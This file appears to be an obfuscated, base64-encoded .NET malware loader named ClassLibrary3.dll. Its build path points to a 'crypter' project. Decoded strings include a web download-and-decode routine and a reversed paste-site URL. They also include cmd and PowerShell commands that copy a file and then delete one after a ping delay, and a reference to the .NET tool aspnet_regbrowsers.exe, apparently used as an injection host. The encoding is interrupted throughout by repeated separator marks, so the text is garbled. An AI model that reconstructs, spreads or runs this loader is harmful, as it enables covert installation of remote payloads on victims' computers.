mlsZVZlcnNpb25BdHRyaWJ1dGU↓:↓TXlHcm91cENvbGxlY3Rpb25BdHRyaWJ1dGU↓:↓QXNzZW1ibHlEZXNjcmlwdGlvbkF0dHJpYnV0ZQBDb21waWxhdGlvblJlbGF4YXRpb25zQXR0cmlidXRl↓:↓EFzc2VtYmx5UHJvZHVjdEF0dHJpYnV0ZQBBc3NlbWJseUNvcHlyaWdodEF0dHJpYnV0ZQBBc3NlbWJseUNvbXBhbnlBdHRyaWJ1dGU↓:↓UnVudGltZUNvbXBhdGliaWxpdHlBdHRyaWJ1dGU↓:↓Z2V0X1ZhbHVl↓:↓HNldF9WYWx1ZQBHZXRPYmplY3RWYWx1ZQB2YWx1ZQBzZXRfRW5jb2Rpbmc↓:↓RnJvbUJhc2U2NFN0cmluZwBEb3dubG9hZFN0cmluZwBUb1N0cmluZwBHZXRGb2xkZXJQYXRo↓:↓E1pY3Jvc29mdC5WaXN1YWxCYXNpYy5NeVNlcnZpY2VzLkludGVybmFs↓:↓FN5c3RlbS5Db21wb25lbnRNb2Rlb↓:↓BDbGFzc0xpYnJhcnkzLmRsb↓:↓BTaGVsb↓:↓BzZXRfU2VjdXJpdHlQcm90b2Nvb↓:↓BTeXN0ZW0↓:↓cmVzb3VyY2VNYW4↓:↓VG9Cb29sZWFu↓:↓FN5c3RlbS5Db21wb25lbnRNb2RlbC5EZXNpZ24↓:↓QXBwRG9tYWlu↓:↓GdldF9DdXJyZW50RG9tYWlu↓:↓GdldF9BcHBsaWNhdGlvbgBNeUFwcGxpY2F0aW9u↓:↓FN5c3RlbS5Db25maWd1cmF0aW9u↓:↓FN5c3RlbS5HbG9iYWxpemF0aW9u↓:↓EludGVyYWN0aW9u↓:↓FN5c3RlbS5SZWZsZWN0aW9u↓:↓EV4Y2VwdGlvbgBNZXRob2RJbmZv↓:↓EN1bHR1cmVJbmZv↓:↓G1fQXBwT2JqZWN0UHJvdmlkZXI↓:↓bV9Vc2VyT2JqZWN0UHJvdmlkZXI↓:↓bV9Db21wdXRlck9iamVjdFByb3ZpZGVy↓:↓G1fTXlXZWJTZXJ2aWNlc09iamVjdFByb3ZpZGVy↓:↓FNwZWNpYWxGb2xkZXI↓:↓Z2V0X1Jlc291cmNlTWFuYWdlcgBTZXJ2aWNlUG9pbnRNYW5hZ2Vy↓:↓FN5c3RlbS5Db2RlRG9tLkNvbXBpbGVy↓:↓GdldF9Vc2Vy↓:↓GdldF9Db21wdXRlcgBNeUNvbXB1dGVy↓:↓FRvTG93ZXI↓:↓Q2xlYXJQcm9qZWN0RXJyb3I↓:↓U2V0UHJvamVjdEVycm9y↓:↓EFjdGl2YXRvcg↓:↓uY3Rvcg↓:↓uY2N0b3I↓:↓U3lzdGVtLkRpYWdub3N0aWNz↓:↓E1pY3Jvc29mdC5WaXN1YWxCYXNpYy5EZXZpY2Vz↓:↓GdldF9XZWJTZXJ2aWNlcwBNeVdlYlNlcnZpY2Vz↓:↓E1pY3Jvc29mdC5WaXN1YWxCYXNpYy5BcHBsaWNhdGlvblNlcnZpY2Vz↓:↓FN5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcwBNaWNyb3NvZnQuVmlzdWFsQmFzaWMuQ29tcGlsZXJTZXJ2aWNlcwBTeXN0ZW0uUnVudGltZS5Db21waWxlclNlcnZpY2Vz↓:↓FN5c3RlbS5SZXNvdXJjZXM↓:↓Q2xhc3NMaWJyYXJ5My5NeS5SZXNvdXJjZXM↓:↓Q2xhc3NMaWJyYXJ5My5SZXNvdXJjZXMucmVzb3VyY2Vz↓:↓ERlYnVnZ2luZ01vZGVz↓:↓FN0cmluZ3M↓:↓Z2V0X1NldHRpbmdz↓:↓E15U2V0dGluZ3M↓:↓UmVmZXJlbmNlRXF1YWxz↓:↓ENvbnRhaW5z↓:↓ENvbnZlcnNpb25z↓:↓FJ1bnRpbWVIZWxwZXJz↓:↓EV4aXN0cwBDb25jYXQ↓:↓T2JqZWN0↓:↓E15UHJvamVjd↓:↓BTeXN0ZW0uTmV0↓:↓GdldF9EZWZhdWx0↓:↓FdlYkNsaWVud↓:↓BFbnZpcm9ubWVud↓:↓BDb21wb25lbnQ↓:↓Q29udmVyd↓:↓BTeXN0ZW0uVGV4d↓:↓BtX0NvbnRleHQ↓:↓bmtHTXY↓:↓QXZiRXc↓:↓Q2xhc3NMaWJyYXJ5My5NeQBnZXRfQXNzZW1ibHk↓:↓RGlyZWN0b3J5↓:↓EVtcHR5↓:↓E15U2V0dGluZ3NQcm9wZXJ0eQ↓:↓↓:↓L0M↓:↓b↓:↓Bh↓:↓HM↓:↓cwBM↓:↓Gk↓:↓YgBy↓:↓GE↓:↓cgB5↓:↓DM↓:↓LgBS↓:↓GU↓:↓cwBv↓:↓HU↓:↓cgBj↓:↓GU↓:↓cw↓:↓↓:↓gIVj↓:↓G0↓:↓Z↓:↓↓:↓u↓:↓GU↓:↓e↓:↓Bl↓:↓C↓:↓↓:↓LwBj↓:↓C↓:↓↓:↓c↓:↓Bp↓:↓G4↓:↓Zw↓:↓g↓:↓DE↓:↓Mg↓:↓3↓:↓C4↓:↓M↓:↓↓:↓u↓:↓D↓:↓↓:↓Lg↓:↓x↓:↓C↓:↓↓:↓LQBu↓:↓C↓:↓↓:↓MQ↓:↓w↓:↓C↓:↓↓:↓Jg↓:↓g↓:↓H↓:↓↓:↓bwB3↓:↓GU↓:↓cgBz↓:↓Gg↓:↓ZQBs↓:↓Gw↓:↓I↓:↓↓:↓t↓:↓GM↓:↓bwBt↓:↓G0↓:↓YQBu↓:↓GQ↓:↓I↓:↓↓:↓i↓:↓EM↓:↓bwBw↓:↓Hk↓:↓LQBJ↓:↓HQ↓:↓ZQBt↓:↓C↓:↓↓:↓Jw↓:↓BISc↓:↓I↓:↓↓:↓t↓:↓EQ↓:↓ZQBz↓:↓HQ↓:↓aQBu↓:↓GE↓:↓d↓:↓Bp↓:↓G8↓:↓bg↓:↓g↓:↓Cc↓:↓↓:↓QUn↓:↓CI↓:↓↓:↓U9j↓:↓G0↓:↓Z↓:↓↓:↓u↓:↓GU↓:↓e↓:↓Bl↓:↓C↓:↓↓:↓LwBj↓:↓C↓:↓↓:↓c↓:↓Bp↓:↓G4↓:↓Zw↓:↓g↓:↓DE↓:↓Mg↓:↓3↓:↓C4↓:↓M↓:↓↓:↓u↓:↓D↓:↓↓:↓Lg↓:↓x↓:↓C↓:↓↓:↓LQBu↓:↓C↓:↓↓:↓MQ↓:↓1↓:↓C↓:↓↓:↓Jg↓:↓g↓:↓GQ↓:↓ZQBs↓:↓C↓:↓↓:↓Ig↓:↓B↓:↓yI↓:↓↓:↓EVD↓:↓Do↓:↓X↓:↓BX↓:↓Gk↓:↓bgBk↓:↓G8↓:↓dwBz↓:↓Fw↓:↓TQBp↓:↓GM↓:↓cgBv↓:↓HM↓:↓bwBm↓:↓HQ↓:↓LgBO↓:↓EU↓:↓V↓:↓Bc↓:↓EY↓:↓cgBh↓:↓G0↓:↓ZQB3↓:↓G8↓:↓cgBr↓:↓↓:↓BDU↓:↓BB↓:↓GI↓:↓NQBm↓:↓HQ↓:↓Nw↓:↓y↓:↓C8↓:↓dwBh↓:↓HI↓:↓LwBt↓:↓G8↓:↓Yw↓:↓u↓:↓G4↓:↓aQBi↓:↓GU↓:↓d↓:↓Bz↓:↓GE↓:↓c↓:↓↓:↓v↓:↓C8↓:↓OgBz↓:↓H↓:↓↓:↓d↓:↓B0↓:↓Gg↓:↓↓:↓↓:↓eTITo↓:↓kyEB↓:↓0E↓:↓↓:↓Bdc↓:↓HY↓:↓N↓:↓↓:↓u↓:↓D↓:↓↓:↓Lg↓:↓z↓:↓D↓:↓↓:↓Mw↓:↓x↓:↓Dk↓:↓↓:↓Bdc↓:↓HY↓:↓Mg↓:↓u↓:↓D↓:↓↓:↓Lg↓:↓1↓:↓D↓:↓↓:↓Nw↓:↓y↓:↓Dc↓:↓↓:↓ClD↓:↓Gw↓:↓YQBz↓:↓HM↓:↓T↓:↓Bp↓:↓GI↓:↓cgBh↓:↓HI↓:↓eQ↓:↓x↓:↓C4↓:↓QwBs↓:↓GE↓:↓cwBz↓:↓DE↓:↓↓:↓↓:↓dS↓:↓HU↓:↓bg↓:↓↓:↓L1w↓:↓YQBz↓:↓H↓:↓↓:↓bgBl↓:↓HQ↓:↓XwBy↓:↓GU↓:↓ZwBi↓:↓HI↓:↓bwB3↓:↓HM↓:↓ZQBy↓:↓HM↓:↓LgBl↓:↓Hg↓:↓ZQ↓:↓↓:↓BlXlq+sNpEeSKp0o29Ib0↓:↓↓:↓EI↓:↓EBC↓:↓Mg↓:↓↓:↓EFI↓:↓EBEREEI↓:↓EBDgQg↓:↓QECBS↓:↓C↓:↓Q4OBS↓:↓B↓:↓RE9By↓:↓E↓:↓Q4ODg4GFRIo↓:↓RIMBhUSK↓:↓ESC↓:↓YVEigBEl0GFRIo↓:↓RIkBC↓:↓↓:↓Ew↓:↓F↓:↓↓:↓ICHBwH↓:↓↓:↓ESZRG↓:↓iQUg↓:↓BK↓:↓jQcg↓:↓gEOEoCNC↓:↓↓:↓BEoCREoCRDQcHDgISgIUODg4SgIUE↓:↓↓:↓ECDgY↓:↓↓:↓Q4RgJ0DI↓:↓↓:↓OBC↓:↓B↓:↓g4F↓:↓↓:↓EOHQ4J↓:↓↓:↓QIDhG↓:↓qQIIBg↓:↓DDg4ODgY↓:↓↓:↓QESgIUD↓:↓↓:↓↓:↓B↓:↓gYOBg↓:↓B↓:↓RG↓:↓tQU↓:↓↓:↓BK↓:↓vQYg↓:↓QESgL0EI↓:↓EODgUg↓:↓g4ODgU↓:↓↓:↓g4ODgU↓:↓↓:↓BK↓:↓yQU↓:↓↓:↓R0FDgcg↓:↓RK↓:↓jR0FBS↓:↓BEmUOBi↓:↓BEoDRDgYg↓:↓hwcHRwE↓:↓↓:↓EODgQ↓:↓↓:↓RwcBC↓:↓B↓:↓hwDI↓:↓↓:↓IB↓:↓cBHg↓:↓CHg↓:↓FE↓:↓E↓:↓Hg↓:↓ECgEe↓:↓↓:↓QH↓:↓RM↓:↓BhUSK↓:↓ET↓:↓↓:↓cGFRJp↓:↓RM↓:↓BhUSaQET↓:↓↓:↓IT↓:↓↓:↓QK↓:↓RM↓:↓BS↓:↓B↓:↓RM↓:↓CLd6XFYZNOCJCL↓:↓/X38R1Qo6BwYVEigBEgwHBhUSK↓:↓ESC↓:↓cGFRIo↓:↓RJdBwYVEigBEiQDBhJ5↓:↓wYSfQMGEhgE↓:↓↓:↓↓:↓SD↓:↓Q↓:↓↓:↓BIIB↓:↓↓:↓↓:↓El0E↓:↓↓:↓↓:↓SJ↓:↓Q↓:↓↓:↓BJ5B↓:↓↓:↓↓:↓En0F↓:↓↓:↓EBEn0E↓:↓↓:↓↓:↓SG↓:↓Y↓:↓↓:↓wEODg4EI↓:↓↓:↓SZQcQ↓:↓QEe↓:↓B4↓:↓Bz↓:↓B↓:↓QEQHg↓:↓EC↓:↓↓:↓SD↓:↓QI↓:↓BIIB↓:↓g↓:↓El0EC↓:↓↓:↓SJ↓:↓QI↓:↓BJ5B↓:↓g↓:↓En0EC↓:↓↓:↓SG↓:↓Qo↓:↓BM↓:↓C↓:↓E↓:↓C↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓HgE↓:↓↓:↓QBU↓:↓hZXcmFwTm9uRXhjZXB0aW9uVGhyb3dz↓:↓QgB↓:↓↓:↓I↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓UB↓:↓↓:↓↓:↓↓:↓↓:↓BcB↓:↓BJDb3B5cmlnaHQgwqkgIDIwMjI↓:↓↓:↓CkB↓:↓CQxQjQxRDRENC1EQkQ0LTQ1NEEtQjZBNC0xOEQ4MUM0MTkzRT↓:↓↓:↓↓:↓↓:↓wB↓:↓↓:↓cxLj↓:↓uMC4w↓:↓↓:↓↓:↓E↓:↓Q↓:↓↓:↓↓:↓↓:↓gB↓:↓↓:↓E↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓BgB↓:↓↓:↓pNeVRlbXBsYXRlCDExLj↓:↓uMC4w↓:↓↓:↓B↓:↓↓:↓Q↓:↓zU3lzdGVtLlJlc291cmNlcy5Ub29scy5TdHJvbmdseVR5cGVkUmVzb3VyY2VCdWlsZGVyBzQuMC4wLj↓:↓↓:↓↓:↓FkB↓:↓EtNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLkVkaXRvcnMuU2V0dGluZ3NEZXNpZ25lci5TZXR0aW5nc1NpbmdsZUZpbGVHZW5lcmF0b3IIMTEuMC4wLj↓:↓↓:↓↓:↓GEB↓:↓DRTeXN0ZW0uV2ViLlNlcnZpY2VzLlByb3RvY29scy5Tb2FwSHR0cENsaWVudFByb3RvY29sEkNyZWF0ZV9fSW5zdGFuY2VfXxNEaXNwb3NlX19JbnN0YW5jZV9f↓:↓↓:↓↓:↓↓:↓E↓:↓E↓:↓C015LkNvbXB1dGVy↓:↓↓:↓↓:↓T↓:↓Q↓:↓OTXkuQXBwbGljYXRpb24↓:↓↓:↓↓:↓wB↓:↓↓:↓dNeS5Vc2Vy↓:↓↓:↓↓:↓T↓:↓Q↓:↓OTXkuV2ViU2VydmljZXM↓:↓↓:↓B↓:↓B↓:↓↓:↓tNeS5TZXR0aW5ncw↓:↓↓:↓t↓:↓↓:↓↓:↓↓:↓M7K774B↓:↓↓:↓↓:↓↓:↓kQ↓:↓↓:↓↓:↓GxTeXN0ZW0uUmVzb3VyY2VzLlJlc291cmNlUmVhZGVyLCBtc2NvcmxpYiwgVmVyc2lvbj0yLj↓:↓uMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkjU3lzdGVtLlJlc291cmNlcy5SdW50aW1lUmVzb3VyY2VTZXQC↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓BQQURQQURQt↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓5Dby/↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓I↓:↓↓:↓↓:↓CI↓:↓↓:↓↓:↓↓:↓/Dw↓:↓↓:↓Pwe↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓Q↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓UlNEUw/↓:↓xB/Y+Q5NozPSXIg6EgIB↓:↓↓:↓↓:↓↓:↓RTpcU291cmNlIENvZGVyIFZiLm5ldCBDI1xjcmMgY3J5cHRlclxVcENyeVxNZXRvZG8gREZcQ2xhc3NMaWJyYXJ5M1xDbGFzc0xpYnJhcnkzXG9ialxSZWxlYXNlXENsYXNzTGlicmFyeTMucGRi↓:↓Kw9↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓MY9↓:↓↓:↓↓:↓↓:↓I↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓C4PQ↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓F9Db3JEbGxNYWlu↓:↓G1zY29yZWUuZGxs↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓D/JQ↓:↓g↓:↓B↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓E↓:↓E↓:↓↓:↓↓:↓↓:↓Bg↓:↓↓:↓I↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓E↓:↓↓:↓Q↓:↓↓:↓↓:↓D↓:↓↓:↓↓:↓I↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓E↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓Eg↓:↓↓:↓↓:↓BYQ↓:↓↓:↓↓:↓D↓:↓M↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓D↓:↓M0↓:↓↓:↓↓:↓↓:↓VgBT↓:↓F8↓:↓VgBF↓:↓FI↓:↓UwBJ↓:↓E8↓:↓TgBf↓:↓Ek↓:↓TgBG↓:↓E8↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓L0E7/4↓:↓↓:↓↓:↓E↓:↓↓:↓↓:↓↓:↓B↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓E↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓D8↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓B↓:↓↓:↓↓:↓↓:↓↓:↓I↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓BE↓:↓↓:↓↓:↓↓:↓↓:↓QBW↓:↓GE↓:↓cgBG↓:↓Gk↓:↓b↓:↓Bl↓:↓Ek↓:↓bgBm↓:↓G8↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓CQ↓:↓B↓:↓↓:↓↓:↓↓:↓FQ↓:↓cgBh↓:↓G4↓:↓cwBs↓:↓GE↓:↓d↓:↓Bp↓:↓G8↓:↓bg↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓CwBGwC↓:↓↓:↓↓:↓B↓:↓FM↓:↓d↓:↓By↓:↓Gk↓:↓bgBn↓:↓EY↓:↓aQBs↓:↓GU↓:↓SQBu↓:↓GY↓:↓bw↓:↓↓:↓↓:↓EgC↓:↓↓:↓↓:↓B↓:↓D↓:↓↓:↓M↓:↓↓:↓w↓:↓D↓:↓↓:↓M↓:↓↓:↓0↓:↓GI↓:↓M↓:↓↓:↓↓:↓↓:↓Bo↓:↓↓:↓Q↓:↓B↓:↓EM↓:↓bwBt↓:↓G0↓:↓ZQBu↓:↓HQ↓:↓cw↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓i↓:↓↓:↓E↓:↓↓:↓QBD↓:↓G8↓:↓bQBw↓:↓GE↓:↓bgB5↓:↓E4↓:↓YQBt↓:↓GU↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓q↓:↓↓:↓E↓:↓↓:↓QBG↓:↓Gk↓:↓b↓:↓Bl↓:↓EQ↓:↓ZQBz↓:↓GM↓:↓cgBp↓:↓H↓:↓↓:↓d↓:↓Bp↓:↓G8↓:↓bg↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓D↓:↓↓:↓C↓:↓↓:↓B↓:↓EY↓:↓aQBs↓:↓GU↓:↓VgBl↓:↓HI↓:↓cwBp↓:↓G8↓:↓bg↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓MQ↓:↓u↓:↓D↓:↓↓:↓Lg↓:↓w↓:↓C4↓:↓M↓:↓↓:↓↓:↓↓:↓EQ↓:↓Eg↓:↓B↓:↓Ek↓:↓bgB0↓:↓GU↓:↓cgBu↓:↓GE↓:↓b↓:↓BO↓:↓GE↓:↓bQBl↓:↓↓:↓↓:↓↓:↓QwBs↓:↓GE↓:↓cwBz↓:↓Ew↓:↓aQBi↓:↓HI↓:↓YQBy↓:↓Hk↓:↓Mw↓:↓u↓:↓GQ↓:↓b↓:↓Bs↓:↓↓:↓↓:↓↓:↓S↓:↓↓:↓S↓:↓↓:↓E↓:↓T↓:↓Bl↓:↓Gc↓:↓YQBs↓:↓EM↓:↓bwBw↓:↓Hk↓:↓cgBp↓:↓Gc↓:↓a↓:↓B0↓:↓↓:↓↓:↓↓:↓QwBv↓:↓H↓:↓↓:↓eQBy↓:↓Gk↓:↓ZwBo↓:↓HQ↓:↓I↓:↓Cp↓:↓C↓:↓↓:↓I↓:↓↓:↓y↓:↓D↓:↓↓:↓Mg↓:↓y↓:↓↓:↓↓:↓↓:↓Kg↓:↓B↓:↓↓:↓E↓:↓T↓:↓Bl↓:↓Gc↓:↓YQBs↓:↓FQ↓:↓cgBh↓:↓GQ↓:↓ZQBt↓:↓GE↓:↓cgBr↓:↓HM↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓BM↓:↓BI↓:↓↓:↓QBP↓:↓HI↓:↓aQBn↓:↓Gk↓:↓bgBh↓:↓Gw↓:↓RgBp↓:↓Gw↓:↓ZQBu↓:↓GE↓:↓bQBl↓:↓↓:↓↓:↓↓:↓QwBs↓:↓GE↓:↓cwBz↓:↓Ew↓:↓aQBi↓:↓HI↓:↓YQBy↓:↓Hk↓:↓Mw↓:↓u↓:↓GQ↓:↓b↓:↓Bs↓:↓↓:↓↓:↓↓:↓Ig↓:↓B↓:↓↓:↓E↓:↓U↓:↓By↓:↓G8↓:↓Z↓:↓B1↓:↓GM↓:↓d↓:↓BO↓:↓GE↓:↓bQBl↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓N↓:↓↓:↓I↓:↓↓:↓E↓:↓U↓:↓By↓:↓G8↓:↓Z↓:↓B1↓:↓GM↓:↓d↓:↓BW↓:↓GU↓:↓cgBz↓:↓Gk↓:↓bwBu↓:↓↓:↓↓:↓↓:↓MQ↓:↓u↓:↓D↓:↓↓:↓Lg↓:↓w↓:↓C4↓:↓M↓:↓↓:↓↓:↓↓:↓Dg↓:↓C↓:↓↓:↓B↓:↓EE↓:↓cwBz↓:↓GU↓:↓bQBi↓:↓Gw↓:↓eQ↓:↓g↓:↓FY↓:↓ZQBy↓:↓HM↓:↓aQBv↓:↓G4↓:↓↓:↓↓:↓↓:↓x↓:↓C4↓:↓M↓:↓↓:↓u↓:↓D↓:↓↓:↓Lg↓:↓w↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓D↓:↓↓:↓↓:↓↓:↓w↓:↓↓:↓↓:↓DYPQ↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓